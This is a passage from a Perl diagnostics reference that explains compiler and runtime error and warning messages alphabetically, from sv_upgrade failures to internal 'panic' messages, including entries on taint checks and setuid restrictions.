(P) The internal sv_upgrade routine adds "members" to an SV, making it into a more specialized kind of SV. The top several SV types are so specialized, however, that they cannot be interconverted. This message indicates that such a conversion was attempted.

Can't upgrade to undef

(P) The undefined SV is the bottom of the totem pole, in the scheme of upgradability. Upgrading to undef indicates an error in the code calling sv_upgrade.

Can't use %%! because Errno.pm is not available

(F) The first time the %! hash is used, Perl automatically loads the Errno module. The Errno module is expected to tie the %! hash to provide symbolic names for $! errno values.

Can't use "my %s" in sort comparison

(F) The global variables $a and $b are reserved for sort comparisons. You mentioned $a or $b in the same line as the <=> or cmp operator, and the variable had earlier been declared as a lexical variable. Either qualify the sort variable with the package name, or rename the lexical variable.

Bad evalled substitution pattern

(F) You've used the /e switch to evaluate the replacement for a substitution, but Perl found a syntax error in the code to evaluate, most likely an unexpected right brace }.

Can't use %s for loop variable

(F) Only a simple scalar variable may be used as a loop variable on a foreach.

Can't use %s ref as %s ref

(F) You've mixed up your reference types. You have to dereference a reference of the type needed. You can use the ref function to test the type of the reference, if need be.

Can't use \%c to mean $%c in expression

(W syntax) In an ordinary expression, backslash is a unary operator that creates a reference to its argument. The use of backslash to indicate a backreference to a matched substring is valid only as part of a regular expression pattern. Trying to do this in ordinary Perl code produces a value that prints out looking like SCALAR(0xdecaf). Use the $1 form instead.

Can't use bareword ("%s") as %s ref while "strict refs" in use

(F) Only hard references are allowed by strict refs. Symbolic references are disallowed.

Can't use string ("%s") as %s ref while "strict refs" in use

(F) Only hard references are allowed by strict refs. Symbolic references are disallowed.

Can't use an undefined value as %s reference

(F) A value used as either a hard reference or a symbolic reference must be a defined value. This helps to delurk some insidious errors.

Can't use global %s in "my"

(F) You tried to declare a magical variable as a lexical variable. This is not allowed because the magic can be tied to only one location (namely the global variable) and it would be incredibly confusing to have variables in your program that looked like magical variables but weren't.

Can't use subscript on %s

(F) The compiler tried to interpret a bracketed expression as a subscript. But to the left of the brackets was an expression that didn't look like an array reference, or anything else subscriptable.

Can't weaken a nonreference

(F) You attempted to weaken something that was not a reference. Only references can be weakened.

Can't x= to read-only value

(F) You tried to repeat a constant value (often the undefined value) with an assignment operator, which implies modifying the value itself. Perhaps you need to copy the value to a temporary variable, and repeat that.

Can't find an opnumber for "%s"

(F) A string of a form CORE::word was given to prototype, but there is no built-in with the name word.

Can't resolve method `%s' overloading `%s' in package `%s'

(F|P) An error occurred when resolving overloading specified by a method name (as opposed to a subroutine reference): no such method callable via the package. If the method name is ???, this is an internal error.

Character class [:%s:] unknown

(F) The class in the character class [: :] syntax is unknown.

Character class syntax [%s] belongs inside character classes

(W unsafe) The character class constructs [: :], [= =], and [. .] go inside character classes, for example: /[012[:alpha:]345]/. Note that the [= =] and [. .] constructs are not currently implemented; they are simply placeholders for future extensions.

Character class syntax [. .] is reserved for future extensions

(W regexp) Within regular expression character classes ([]), the syntax beginning with [. and ending with .] is reserved for future extensions. If you need to represent those character sequences inside a regular expression character class, just quote the square brackets with the backslash: \[. and .\].

Character class syntax [= =] is reserved for future extensions

(W regexp) Within regular expression character classes ([]), the syntax beginning with [= and ending with =] is reserved for future extensions. If you need to represent those character sequences inside a regular expression character class, just quote the square brackets with the backslash: \[= and =\].

chmod() mode argument is missing initial 0

(W chmod) A novice will sometimes say:

chmod 777, $filename
not realizing that 777 will be interpreted as a decimal number, equivalent to 01411. Octal constants are introduced with a leading 0 in Perl, as in C.

Close on unopened file <%s>

(W unopened) You tried to close a filehandle that was never opened.

Compilation failed in require

(F) Perl could not compile a file specified in a require statement. Perl uses this generic message when none of the errors that it encountered were severe enough to halt compilation immediately.

Complex regular subexpression recursion limit (%d) exceeded

(W regexp) The regular expression engine uses recursion in complex situations where backtracking is required. Recursion depth is limited to 32,766, or perhaps less in architectures where the stack cannot grow arbitrarily. ("Simple" and "medium" situations are handled without recursion and are not subject to a limit.) Try shortening the string under examination; looping in Perl code (e.g., with while) rather than in the regular expression engine; or rewriting the regular expression so that it is simpler or backtracks less.

connect() on closed socket %s

(W closed) You tried to do a connect on a closed socket. Did you forget to check the return value of your socket call?

Constant is not %s reference

(F) A constant value (perhaps declared using the use constant pragma) is being dereferenced, but it amounts to the wrong type of reference. The message indicates the type of reference that was expected. This usually indicates a syntax error in dereferencing the constant value.

Constant subroutine %s redefined

(S|W redefine) You redefined a subroutine that had previously been eligible for inlining.

Constant subroutine %s undefined

(W misc) You undefined a subroutine that had previously been eligible for inlining.

constant(%s): %s

(F) The parser found inconsistencies either while attempting to define an overloaded constant or when trying to find the character name specified in the \N{...} escape. Perhaps you forgot to load the corresponding overload or charnames pragma?

Copy method did not return a reference

(F) The method that overloads = is buggy.

CORE::%s is not a keyword

(F) The CORE:: namespace is reserved for Perl keywords.

Corrupt malloc ptr 0x%lx at 0x%lx

(P) The malloc package that comes with Perl had an internal failure.

corrupted regexp pointers

(P) The regular expression engine got confused by what the regular expression compiler gave it.

corrupted regexp program

(P) The regular expression engine got passed a regexp program without a valid magic number.

Deep recursion on subroutine "%s"

(W recursion) This subroutine has called itself (directly or indirectly) 100 times more than it has returned. This probably indicates an infinite recursion, unless you're writing strange benchmark programs, in which case it indicates something else.

defined(@array) is deprecated

(D deprecated) defined is not usually useful on arrays because it checks for an undefined scalar value. If you want to see if the array is empty, just use if (@array) { # not empty }.

defined(%hash) is deprecated

(D deprecated) defined is not usually useful on hashes because it checks for an undefined scalar value. If you want to see if the hash is empty, just use if (%hash) { # not empty }.

Delimiter for here document is too long

(F) In a here document construct like <<FOO, the label FOO is too long for Perl to handle. You have to be seriously twisted to write code that triggers this error.

Did not produce a valid header

See Server error.

(Did you mean &%s instead?)

(W) You probably referred to an imported subroutine &FOO as $FOO or some such.

(Did you mean "local" instead of "our"?)

(W misc) Remember that our does not localize the declared global variable. You have declared it again in the same lexical scope, which seems superfluous.

(Did you mean $ or @ instead of %?)

(W) You probably said %hash{$key} when you meant $hash{$key} or @hash{@keys}. On the other hand, maybe you just meant %hash and got carried away.

Died

(F) You passed die an empty string (the equivalent of die "") or you called it with no args and both $@ and $_ were empty.

(Do you need to predeclare %s?)

(S) This is an educated guess made in conjunction with the message "%s found where operator expected". It often means a subroutine or module name is being referenced that hasn't been declared yet. This may be because of ordering problems in your file or because of a missing sub, package, require, or use statement. If you're referencing something that isn't defined yet, you don't actually have to define the subroutine or package before the current location. You can use an empty sub foo; or package FOO; to enter a "forward" declaration.

Document contains no data

See Server error.

Don't know how to handle magic of type '%s'

(P) The internal handling of magical variables has been cursed.

do_study: out of memory

(P) This should have been caught by safemalloc instead.

Duplicate free() ignored

(S malloc) An internal routine called free on something that had already been freed.

elseif should be elsif

(S) There is no keyword "elseif" in Perl because Larry thinks it's ugly. Your code will be interpreted as an attempt to call a method named elseif for the class returned by the following block. This is unlikely to be what you want.

%s failed--call queue aborted

(F) An untrapped exception was raised while executing a CHECK, INIT, or END subroutine. Processing of the remainder of the queue of such routines has been prematurely ended.

entering effective %s failed

(F) While under the use filetest pragma, switching the real and effective UIDs or GIDs failed.

Error converting file specification %s

(F) This is an error peculiar to VMS. Because Perl may have to deal with file specifications in either VMS or Unix syntax, it converts them to a single form when it must operate on them directly. Either you've passed an invalid file specification to Perl, or you've found a case the conversion routines don't handle. Drat.

%s: Eval-group in insecure regular expression

(F) Perl detected tainted data when trying to compile a regular expression that contains the (?{ ... }) zero-width assertion, which is unsafe.

%s: Eval-group not allowed, use re 'eval'

(F) A regular expression contained the (?{ ... }) zero-width assertion, but that construct is only allowed when the use re 'eval' pragma is in effect.

%s: Eval-group not allowed at run time

(F) Perl tried to compile a regular expression containing the (?{ ... }) zero-width assertion at run time, as it would when the pattern contains interpolated values. Since that is a security risk, it is not allowed. If you insist, you may still do this by explicitly building the pattern from an interpolated string at run time and using that in an eval.

Excessively long <> operator

(F) The contents of a <> operator may not exceed the maximum size of a Perl identifier. If you're just trying to glob a long list of filenames, try using the glob operator or putting the filenames into a variable and globbing that.

Execution of %s aborted due to compilation errors

(F) The final summary message when a Perl compilation fails.

Exiting eval via %s

(W exiting) You are exiting an eval by unconventional means, such as a goto or a loop control statement.

Exiting format via %s

(W exiting) You are exiting a format by unconventional means, such as a goto or a loop control statement.

Exiting pseudoblock via %s

(W exiting) You are exiting a rather special block construct (like a sort block or subroutine) by unconventional means, such as a goto or a loop control statement.

Exiting subroutine via %s

(W exiting) You are exiting a subroutine by unconventional means, such as a goto or a loop control statement.

Exiting substitution via %s

(W exiting) You are exiting a substitution by unconventional means, such as a return, a goto, or a loop control statement.

Explicit blessing to '' (assuming package main)

(W misc) You are blessing a reference to a zero-length string. This has the effect of blessing the reference into the package main. This is usually not what you want. Consider providing a default target package, such as bless($ref, $p || 'MyPackage');

false [] range "%s" in regexp

(W regexp) A character class range must start and end at a literal character, not another character class like \d or [:alpha:]. The - in your false range is interpreted as a literal -. Consider quoting the - like this: \-.

Fatal VMS error at %s, line %d

(P) This is an error peculiar to VMS. Something untoward happened in a VMS system service or RTL routine; Perl's exit status should provide more details. The filename in at%s and the line number in line%d tell you which section of the Perl source code is distressed.

fcntl is not implemented

(F) Your machine apparently doesn't implement fcntl. What is this, a PDP-11 or something?

Filehandle %s never opened

(W unopened) An I/O operation was attempted on a filehandle that was never initialized. You need to do an open or a socket call, or call a constructor from the FileHandle module.

Filehandle %s opened only for input

(W io) You tried to write on a read-only filehandle. If you intended it to be a read-write filehandle, you needed to open it with +< or +> or +>> instead of with < or nothing. If you intended only to write the file, use > or >>.

Filehandle %s opened only for output

(W io) You tried to read from a filehandle opened only for writing. If you intended it to be a read/write filehandle, you needed to open it with +< or +> or +>> instead of with < or nothing. If you intended only to read from the file, use <.

Final $ should be \$ or $name

(F) You must now decide whether the final $ in a string was meant to be a literal dollar sign or was meant to introduce a variable name that happens to be missing. So you have to add either the backslash or the name.

Final @ should be \@ or @name

(F) You must now decide whether the final @ in a string was meant to be a literal "at" sign or was meant to introduce a variable name that happens to be missing. So you have to add either the backslash or the name.

flock() on closed filehandle %s

(W closed) The filehandle you're attempting to flock got itself closed some time before now. Check your logic flow. flock operates on filehandles. Are you attempting to call flock on a dirhandle by the same name?

Format %s redefined

(W redefine) You redefined a format. To suppress this warning, say:

{
    no warnings;
    eval "format NAME =...";
}

Format not terminated

(F) A format must be terminated by a line with a solitary dot. Perl got to the end of your file without finding such a line.

Found = in conditional, should be ==

(W syntax) You said:

if ($foo = 123)
when you meant:
if ($foo == 123)
(or something like that).

gdbm store returned %d, errno %d, key "%s"

(S) A warning from the GDBM_File extension that a store failed.

gethostent not implemented

(F) Your C library apparently doesn't implement gethostent, probably because if it did, it'd feel morally obligated to return every hostname on the Internet.

get%s name() on closed socket %s

(W closed) You tried to get a socket or peer socket name on a closed socket. Did you forget to check the return value of your socket call?

getpwnam returned invalid UIC %#o for user "%s"

(S) A warning peculiar to VMS. The call to sys$getuai underlying the getpwnam operator returned an invalid UIC.

getsockopt() on closed socket %s

(W closed) You tried to get a socket option on a closed socket. Did you forget to check the return value of your socket call?

glob failed (%s)

(W glob) Something went wrong with the external program(s) used for glob and <*.c>. Usually, this means that you supplied a glob pattern that caused the external program to fail and exit with a nonzero status. If the message indicates that the abnormal exit resulted in a core dump, this may also mean that your csh (C shell) is broken. If so, you should change all of the csh-related variables in config.sh: If you have tcsh, make the variables refer to it as if it were csh (e.g., full_csh='/usr/bin/tcsh'); otherwise, make them all empty (except that d_csh should be 'undef') so that Perl will think csh is missing. In either case, after editing config.sh, run ./Configure -S and rebuild Perl.

Glob not terminated

(F) The lexer saw a left angle bracket in a place where it was expecting a term, so it's looking for the corresponding right angle bracket and not finding it. Chances are you left some needed parentheses out earlier in the line, and you really meant a < symbol.

Global symbol "%s" requires explicit package name

(F) You've said use strict vars, which indicates that all variables must either be lexically scoped (using my), declared beforehand using our, or explicitly qualified to say which package the global variable is in (using ::).

Got an error from DosAllocMem

(P) This is an error peculiar to OS/2. Most probably you're using an obsolete version of Perl, so this error should not happen anyway.

goto must have label

(F) Unlike with next or last, you're not allowed to goto an unspecified destination.

Had to create %s unexpectedly

(S internal) A routine asked for a symbol from a symbol table that ought to have existed already, but for some reason it didn't and had to be created on an emergency basis to prevent a core dump.

Hash %%s missing the % in argument %d of %s()

(D deprecated) Really old Perl let you omit the % on hash names in some spots. This is now heavily deprecated.

Hexadecimal number > 0xffffffff non-portable

(W portable) The hexadecimal number you specified is larger than 2**32-1 (4,294,967,295) and therefore nonportable between systems.

Identifier too long

(F) Perl limits identifiers (names for variables, functions, etc.) to about 250 characters for simple names, and somewhat more for compound names (like $A::B). You've exceeded Perl's limits. Future versions of Perl are likely to eliminate these arbitrary limitations.

Ill-formed CRTL environ value "%s"

(W internal) This is a warning peculiar to VMS. Perl tried to read the CRTL's internal environ array and encountered an element without the = delimiter used to separate keys from values. The element is ignored.

Ill-formed message in prime_env_iter: |%s|

(W internal) This is a warning peculiar to VMS. Perl tried to read a logical name or CLI symbol definition when preparing to iterate over %ENV and didn't see the expected delimiter between key and value, so the line was ignored.

Illegal character %s (carriage return)

(F) Perl normally treats carriage returns in the program text as it would any other whitespace, which means you should never see this error when Perl was built using standard options. For some reason, your version of Perl appears to have been built without this support. Talk to your Perl administrator.

Illegal division by zero

(F) You tried to divide a number by 0. Either something was wrong in your logic, or you need to put a conditional in to guard against meaningless input.

Illegal modulus zero

(F) You tried to divide a number by 0 to get the remainder. Most numbers don't take to this kindly.

Illegal binary digit %s

(F) You used a digit other than 0 or 1 in a binary number.

Illegal octal digit %s

(F) You used an 8 or 9 in a octal number.

Illegal binary digit %s ignored

(W digit) You may have tried to use a digit other than 0 or 1 in a binary number. Interpretation of the binary number stopped before the offending digit.

Illegal octal digit %s ignored

(W digit) You may have tried to use an 8 or 9 in a octal number. Interpretation of the octal number stopped before the 8 or 9.

Illegal hexadecimal digit %s ignored

(W digit) You may have tried to use a character other than 0 through 9, A through F, or a through f in a hexadecimal number. Interpretation of the hexadecimal number stopped before the illegal character.

Illegal number of bits in vec

(F) The number of bits in vec (the third argument) must be a power of two from 1 to 32 (or 64, if your platform supports that).

Illegal switch in PERL5OPT: %s

(X) The PERL5OPT environment variable may only be used to set the following switches: -[DIMUdmw].

In string, @%s now must be written as \@%s

(F) It used to be that Perl would try to guess whether you wanted an array interpolated or a literal @. It did this when the string was first used at run time. Now strings are parsed at compile time, and ambiguous instances of @ must be disambiguated, either by prepending a backslash to indicate a literal, or by declaring (or using) the array within the program before the string (lexically). (Someday it will simply assume that an unbackslashed @ interpolates an array.)

Insecure dependency in %s

(F) You tried to do something that the tainting mechanism didn't like. The tainting mechanism is turned on when you're running setuid or setgid, or when you specify -T to turn it on explicitly. The tainting mechanism labels all data that's derived directly or indirectly from the user, who is considered to be unworthy of your trust. If any such data is used in a "dangerous" operation, you get this error.

Insecure directory in %s

(F) You can't use system, exec, or a piped open in a setuid or setgid script if $ENV{PATH} contains a directory that is writable by the world.

Insecure $ENV{%s} while running %s

(F) You can't use system, exec, or a piped open in a setuid or setgid script if any of $ENV{PATH}, $ENV{IFS}, $ENV{CDPATH}, $ENV{ENV}, or $ENV{BASH_ENV} are derived from data supplied (or potentially supplied) by the user. The script must set the path to a known value, using trustworthy data.

Integer overflow in %s number

(W overflow) The hexadecimal, octal, or binary number you have specified either as a literal or as an argument to hex or oct is too big for your architecture and has been converted to a floating-point number. On 32-bit machines, the largest hex, octal, or binary number representable without overflow is 0xFFFFFFFF, 037777777777, or 0b11111111111111111111111111111111 respectively. Note that Perl transparently promotes all numbers to a floating-point representation internally--subject to loss of precision errors in subsequent operations.

Internal inconsistency in tracking vforks

(S) This is a warning peculiar to VMS. Perl keeps track of the number of times you've called fork and exec, to determine whether the current call to exec should affect the current script or a subprocess (see "exec LIST" in perlvms(1)). Somehow, this count has become scrambled, so Perl is making a guess and treating this exec as a request to terminate the Perl script and execute the specified command.

internal disaster in regexp

(P) Something went badly wrong in the regular expression parser.

internal urp in regexp at /%s/

(P) Something went badly awry in the regular expression parser.

Invalid %s attribute: %s

(F) The indicated attribute for a subroutine or variable was not recognized by Perl or by a user-supplied handler.

Invalid %s attributes: %s

(F) The indicated attributes for a subroutine or variable were not recognized by Perl or by a user-supplied handler.

invalid [] range "%s" in regexp

(F) The range specified in a character class had a minimum character greater than the maximum character.

Invalid conversion in %s: "%s"

(W printf) Perl does not understand the given format conversion.

Invalid separator character %s in attribute list

(F) Something other than a colon or whitespace was seen between the elements of an attribute list. If the previous attribute had a parenthesized parameter list, perhaps that list was terminated too soon.

Invalid type in pack: '%s'

(F) The given character is not a valid pack type.

(W pack) The given character is not a valid pack type, but it used to be silently ignored.

Invalid type in unpack: '%s'

(F) The given character is not a valid unpack type.

(W unpack) The given character is not a valid unpack type, but it used to be silently ignored.

ioctl is not implemented

(F) Your machine apparently doesn't implement ioctl, which is pretty strange for a machine that supports C.

junk on end of regexp

(P) The regular expression parser is confused.

Label not found for "last %s"

(F) You named a loop to break out of, but you're not currently in a loop of that name, not even if you count where you were called from.

Label not found for "next %s"

(F) You named a loop to continue, but you're not currently in a loop of that name, not even if you count where you were called from.

Label not found for "redo %s"

(F) You named a loop to restart, but you're not currently in a loop of that name, not even if you count where you were called from.

leaving effective %s failed

(F) While under the use filetest pragma, switching the real and effective UIDs or GIDs failed.

listen() on closed socket %s

(W closed) You tried to do a listen on a closed socket. Did you forget to check the return value of your socket call?

Lvalue subs returning %s not implemented yet

(F) Due to limitations in the current implementation, array and hash values cannot be returned in subroutines used in lvalue context.

Malformed PERLLIB_PREFIX

(F) This is an error peculiar to OS/2. PERLLIB_PREFIX should be of the form:

prefix1;prefix2
or:
prefix1 prefix2
with nonempty prefix1 and prefix2. If prefix1 is indeed a prefix of a built-in library search path, prefix2 is substituted. The error may appear if components are not found, or are too long. See PERLLIB_PREFIX in the README.os2 file bundled with the Perl distribution.

Method for operation %s not found in package %s during blessing

(F) An attempt was made to specify an entry in an overloading table that doesn't resolve to a valid subroutine.

Method %s not permitted

See Server error.

Might be a runaway multi-line %s string starting on line %d

(S) An advisory indicating that the previous error may have been caused by a missing delimiter on a string or pattern, because the string eventually ended earlier on the current line.

Misplaced _ in number

(W syntax) An underline in a decimal constant wasn't at a 3-digit boundary.

Missing $ on loop variable

(F) Apparently, you've been programming in csh too much. Variables are always mentioned with the $ in Perl, unlike in the shells, where it can vary from one line to the next.

Missing %s brace%s on \N{}

(F) You used the wrong syntax of character name literal \N{charname} within double-quotish context.

Missing comma after first argument to %s function

(F) While certain functions allow you to specify a filehandle or an "indirect object" before the argument list, this ain't one of them.

Missing command in piped open

(W pipe) You used the open(FH, "| command") or open(FH, "command |") construction, but the command was missing or blank.

(Missing operator before %s?)

(S) This is an educated guess made in conjunction with the message "%s found where operator expected". Often the missing operator is a comma.

Missing right curly or square bracket

(F) The lexer counted more opening curly or square brackets than closing ones. As a general rule, you'll find it's missing near the place you were last editing.

Modification of a read-only value attempted

(F) You tried, directly or indirectly, to change the value of a constant. You didn't, of course, try 2 = 1, because the compiler catches that. But an easy way to do the same thing is:

sub mod { $_[0] = 1 }
mod(2);
Another way is to assign to a substr that's off the end of the string.

Modification of non-creatable array value attempted, subscript %d

(F) You tried to make an array value spring into existence, and the subscript was probably negative, even counting from end of the array backward.

Modification of non-creatable hash value attempted, subscript "%s"

(P) You tried to make a hash value spring into existence, and it couldn't be created for some peculiar reason.

Module name must be constant

(F) Only a bare module name is allowed as the first argument to a use.

msg%s not implemented

(F) You don't have System V message IPC on your system.

Multidimensional syntax %s not supported

(W syntax) Multidimensional arrays aren't written like $foo[1,2,3]. They're written like $foo[1][2][3], as in C.

Missing name in "my sub"

(F) The reserved syntax for lexically scoped subroutines requires that they have a name with which they can be found.

Name "%s::%s" used only once: possible typo

(W once) Typographical errors often show up as unique variable names. If you had a good reason for having a unique name, then just mention it again somehow to suppress the message. The our declaration is provided for this purpose.

Negative length

(F) You tried to do a read/write/send/recv operation with a buffer length that is less than 0. This is difficult to imagine.

nested *?+ in regexp

(F) You can't quantify a quantifier without intervening parentheses. So things like ** or +* or ?* are illegal.

Note, however, that the minimal matching quantifiers, *?, +?, and ?? appear to be nested quantifiers, but aren't.

No #! line

(F) The setuid emulator requires that scripts have a well-formed #! line even on machines that don't support the #! construct.

No %s allowed while running setuid

(F) Certain operations are deemed to be too insecure for a setuid or setgid script to even attempt. Generally speaking, there will be another way to do what you want that is, if not secure, at least securable.

No -e allowed in setuid scripts

(F) A setuid script can't be specified by the user.

No %s specified for -%c

(F) The indicated command-line switch needs a mandatory argument, but you haven't specified one.

No comma allowed after %s

(F) A list operator that has a filehandle or "indirect object" is not allowed to have a comma between that and the following arguments. Otherwise, it would be interpreted as just another argument.

One obscure situation where this message occurs is when you expect a constant to be imported into your namespace with use or import, but no such importing took place (say, because your operating system doesn't support that particular constant). You should have used an explicit import list for the constants you expect to see. An explicit import list would probably have caught this error earlier. Or maybe there's just a typo in the name of the constant.

No command into which to pipe on command line

(F) This is an error peculiar to VMS. Perl handles its own command-line redirection and found a | at the end of the command line, so it doesn't know where you want to pipe the output from this command.

No DB::DB routine defined

(F) The currently executing code was compiled with the -d switch, but for some reason the perl5db.pl file (or some facsimile thereof) didn't define a routine to be called at the beginning of each statement. Which is odd, because the file should have been required automatically and should have blown up the require if it didn't parse right.

No dbm on this machine

(P) This is counted as an internal error; every machine should supply a DBM nowadays because Perl comes with SDBM.

No DBsub routine

(F) The currently executing code was compiled with the -d switch, but for some reason the perl5db.pl file (or some facsimile thereof) didn't define a DB::sub routine to be called at the beginning of each ordinary subroutine call.

No error file after 2> or 2>> on command line

(F) This is an error peculiar to VMS. Perl handles its own command-line redirection, and found a 2> or a 2>> on the command line, but it can't find the name of the file to which to write data destined for STDERR.

No input file after < on command line

(F) This is an error peculiar to VMS. Perl handles its own command-line redirection and found a < on the command line, but it can't find the name of the file from which to read data for STDIN.

No output file after > on command line

(F) This is an error peculiar to VMS. Perl handles its own command-line redirection and found a lone > at the end of the command line, but it doesn't know where you wanted to redirect STDOUT.

No output file after > or >> on command line

(F) This is an error peculiar to VMS. Perl handles its own command-line redirection and found a > or a >> on the command line, but it can't find the name of the file to which to write data destined for STDOUT.

No package name allowed for variable %s in "our"

(F) Fully qualified variable names are not allowed in our declarations, because they don't make much sense under existing semantics. Such syntax is reserved for future extensions.

No Perl script found in input

(F) You called perl -x, but no line was found in the file beginning with #! and containing the word "perl".

No setregid available

(F) Configure didn't find anything resembling the setregid call for your system.

No setreuid available

(F) Configure didn't find anything resembling the setreuid call for your system.

No space allowed after -%c

(F) The argument to the indicated command-line switch must follow immediately after the switch, without intervening spaces.

No such pseudohash field "%s"

(F) You tried to access an array as a hash, but the field name used is not defined. The hash at index 0 should map all valid field names to array indices for that to work.

No such pseudohash field "%s" in variable %s of type %s

(F) You tried to access a field of a typed variable, but the type does not know about the field name. The field names are looked up in the %FIELDS hash in the type package at compile time. The %FIELDS hash is usually set up with the fields pragma.

No such pipe open

(P) This is an error peculiar to VMS. The internal routine my_pclose tried to close a pipe that hadn't been opened. This should have been caught earlier as an attempt to close an unopened filehandle.

No such signal: SIG%s

(W signal) The signal name you specified as a subscript to %SIG was not recognized. Say kill -l in your shell to see the valid signal names on your system.

no UTC offset information; assuming local time is UTC

(S) This is a warning peculiar to VMS. Perl was unable to find the local time zone offset, so it assumes that the local system time and the UTC are equivalent. If they're not, define the logical name SYS$TIMEZONE_DIFFERENTIAL to translate to the number of seconds that need to be added to UTC to get local time.

Not a CODE reference

(F) Perl was trying to evaluate a reference to a code value (that is, a subroutine) but found a reference to something else instead. You can use the ref function to find out what kind of ref it really was.

Not a format reference

(F) We're not sure how you managed to generate a reference to an anonymous format, but this message indicates that you did and that it didn't exist.

Not a GLOB reference

(F) Perl was trying to evaluate a reference to a "typeglob" (that is, a symbol table entry that looks like *foo) but found a reference to something else instead. You can use the ref function to find out what kind of ref it really was.

Not a HASH reference

(F) Perl was trying to evaluate a reference to a hash value but found a reference to something else instead. You can use the ref function to find out what kind of ref it really was.

Not a perl script

(F) The setuid emulator requires that scripts have a well-formed #! line even on machines that don't support the #! construct. The line must mention "perl".

Not a SCALAR reference

(F) Perl was trying to evaluate a reference to a scalar value but found a reference to something else instead. You can use the ref function to find out what kind of ref it really was.

Not a subroutine reference

(F) Perl was trying to evaluate a reference to a code value (that is, a subroutine) but found a reference to something else instead. You can use the ref function to find out what kind of ref it really was.

Not a subroutine reference in overload table

(F) An attempt was made to specify an entry in an overloading table that doesn't somehow point to a valid subroutine.

Not an ARRAY reference

(F) Perl was trying to evaluate a reference to an array value but found a reference to something else instead. You can use the ref function to find out what kind of ref it really was.

Not enough arguments for %s

(F) The function requires more arguments than you specified.

Not enough format arguments

(W syntax) A format specified more picture fields than the next line supplied.

Null filename used

(F) You can't require the null filename, especially because on many machines that means the current directory!

Null picture in formline

(F) The first argument to formline must be a valid format picture specification. The argument was found to be empty, which probably means you supplied it an uninitialized value.

NULL OP IN RUN

(P debugging) Some internal routine called run with a null opcode pointer.

Null realloc

(P) An attempt was made to realloc NULL.

NULL regexp argument

(P) The internal pattern-matching routines blew it big time.

NULL regexp parameter

(P) The internal pattern-matching routines are out of their gourd.

Number too long

(F) Perl limits the representation of decimal numbers in programs to about about 250 characters. You've exceeded that length. Future versions of Perl are likely to eliminate this arbitrary limitation. In the meantime, try using scientific notation (e.g., 1e6 instead of 1_000_000).

Octal number > 037777777777 non-portable

(W portable) The octal number you specified is larger than 2**32-1 (4,294,967,295) and therefore nonportable between systems.

Octal number in vector unsupported

(F) Numbers with a leading 0 are not currently allowed in vectors. The octal number interpretation of such numbers may be supported in a future version.

Odd number of elements in hash assignment

(W misc) You specified an odd number of elements to initialize a hash, which is odd because hashes come in key/value pairs.

Offset outside string

(F) You tried to do a read/write/send/recv operation with an offset pointing outside the buffer. This is difficult to imagine. The sole exception to this rule is that sysreading past the buffer will extend the buffer and zero-pad the new area.

oops: oopsAV

(S internal) An internal warning indicating that the grammar is screwed up.

oops: oopsHV

(S internal) An internal warning indicating that the grammar is screwed up.

Operation `%s': no method found, %s

(F) An attempt was made to perform an overloaded operation for which no handler was defined. While some handlers can be autogenerated in terms of other handlers, there is no default handler for any operation, unless the fallback overloading key is specified to be true.

Operator or semicolon missing before %s

(S ambiguous) You used a variable or subroutine call when the parser was expecting an operator. The parser has assumed you really meant to use an operator, but this is highly likely to be incorrect. For example, if you accidentally say *foo*foo, it will be interpreted as if you'd said *foo * 'foo'.

Out of memory!

(X) Perl's internal malloc function returned 0, indicating that the remaining memory (or virtual memory) was insufficient to satisfy the request. Perl has no option but to exit immediately.

Out of memory for yacc stack

(F) The yacc parser wanted to grow its stack so it could continue parsing, but realloc wouldn't give it more memory, virtual or otherwise.

Out of memory during request for %s

(X|F) The malloc function returned 0, indicating that the remaining memory (or virtual memory) was insufficient to satisfy the request.

The request was judged to be small, so the possibility to trap it depends on the way Perl was compiled. By default, it is not trappable. However, if compiled for this purpose, Perl may use the contents of $^M as an emergency pool after dieing with this message. In this case, the error is trappable once.

Out of memory during "large" request for %s

(F) Perl's internal malloc function returned 0, indicating that the remaining memory (or virtual memory) was insufficient to satisfy the request. However, the request was judged large enough (compile-time default is 64K), so a possibility to shut down by trapping this error is granted.

Out of memory during ridiculously large request

(F) You can't allocate more than 2**31+"small amount" bytes. This error is most likely to be caused by a typo in the Perl program (e.g., $arr[time] instead of $arr[$time]).

page overflow

(W io) A single call to write produced more lines than can fit on a page.

panic: ck_grep

(P) The program failed an internal consistency check while trying to compile a grep.

panic: ck_split

(P) The program failed an internal consistency check while trying to compile a split.

panic: corrupt saved stack index

(P) The savestack was requested to restore more localized values than there are in the savestack.

panic: del_backref

(P) The program failed an internal consistency check while trying to reset a weak reference.

panic: die %s

(P) We popped the context stack to an eval context and then discovered it wasn't an eval context.

panic: do_match

(P) The internal pp_match routine was called with invalid operational data.

panic: do_split

(P) Something terrible went wrong in setting up for the split.

panic: do_subst

(P) The internal pp_subst routine was called with invalid operational data.

panic: do_trans

(P) The internal do_trans routine was called with invalid operational data.

panic: frexp

(P) The library function frexp failed, making printf("%f") impossible.

panic: goto

(P) We popped the context stack to a context with the specified label and then discovered it wasn't a context in which we know how to do a goto.

panic: INTERPCASEMOD

(P) The lexer got into a bad state at a case modifier.

panic: INTERPCONCAT

(P) The lexer got into a bad state parsing a string with brackets.

panic: kid popen errno read

(F) The forked child returned an incomprehensible message about its errno.

panic: last

(P) We popped the context stack to a block context and then discovered it wasn't a block context.

panic: leave_scope clearsv

(P) A writable lexical variable became read-only somehow within the scope.

panic: leave_scope inconsistency

(P) The savestack probably got out of sync. At least, there was an invalid enum on the top of it.

panic: malloc

(P) Something requested a negative number of bytes of malloc.

panic: magic_killbackrefs

(P) The program failed an internal consistency check while trying to reset all weak references to an object.

panic: mapstart

(P) The compiler is screwed up with respect to the map function.

panic: null array

(P) One of the internal array routines was passed a null AV pointer.

panic: pad_alloc

(P) The compiler got confused about which scratchpad it was allocating and freeing temporaries and lexicals from.

panic: pad_free curpad

(P) The compiler got confused about which scratchpad it was allocating and freeing temporaries and lexicals from.

panic: pad_free po

(P) An invalid scratchpad offset was detected internally.

panic: pad_reset curpad

(P) The compiler got confused about which scratchpad it was allocating and freeing temporaries and lexicals from.

panic: pad_sv po

(P) An invalid scratchpad offset was detected internally.

panic: pad_swipe curpad

(P) The compiler got confused about which scratchpad it was allocating and freeing temporaries and lexicals from.

panic: pad_swipe po

(P) An invalid scratchpad offset was detected internally.

panic: pp_iter

(P) The foreach iterator got called in a nonloop context frame.

panic: realloc

(P) Something requested a negative number of bytes of realloc.

panic: restartop

(P) Some internal routine requested a goto (or something like it) but didn't supply the destination.

panic: return

(P) We popped the context stack to a subroutine or eval context and then discovered it wasn't a subroutine or eval context.

panic: scan_num

(P) Perl's internal scan_num got called on something that wasn't a number.

panic: sv_insert

